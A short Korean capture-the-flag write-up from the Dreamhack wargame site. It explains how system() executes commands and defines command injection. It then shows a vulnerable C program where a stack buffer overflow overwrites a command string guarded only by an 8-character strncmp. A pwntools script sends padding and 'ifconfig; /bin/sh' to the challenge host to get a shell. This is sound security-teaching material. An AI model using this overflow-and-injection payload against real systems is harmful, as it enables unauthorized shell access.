출처 드림핵
system 함수가 명령어를 실행하는 과정
system함수는 라이브러리 내부에서do_system함수를 호출한다.do_system은 "sh-c"와system함수의 인자를 결합하여execve시스템 콜을 호출한다.
인젝션은 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법을 말한다. 이 중, 사용자의 입력을 시스템 명령어로 실행하게 하는 것을 Command Injection이라고 부른다.
따라서 system 함수 호출 과정에서 사용자 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수도 있다. 이는 리눅스의 메타 문자로 인한 것이다.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
strncmp는 앞 8글자만 비교하고 있으므로, ;를 활용하여 내가 원하는 커맨드를 이어 써주면된다. 여기선 스택 버퍼 오버플로우를 통해 명령어를 입력해주었다.from pwn import *
p = remote('host3.dreamhack.games', 8352)
payload = b'A'*0x20 + b'ifconfig' + b'; /bin/sh'
p.sendafter(': ', payload)
p.interactive()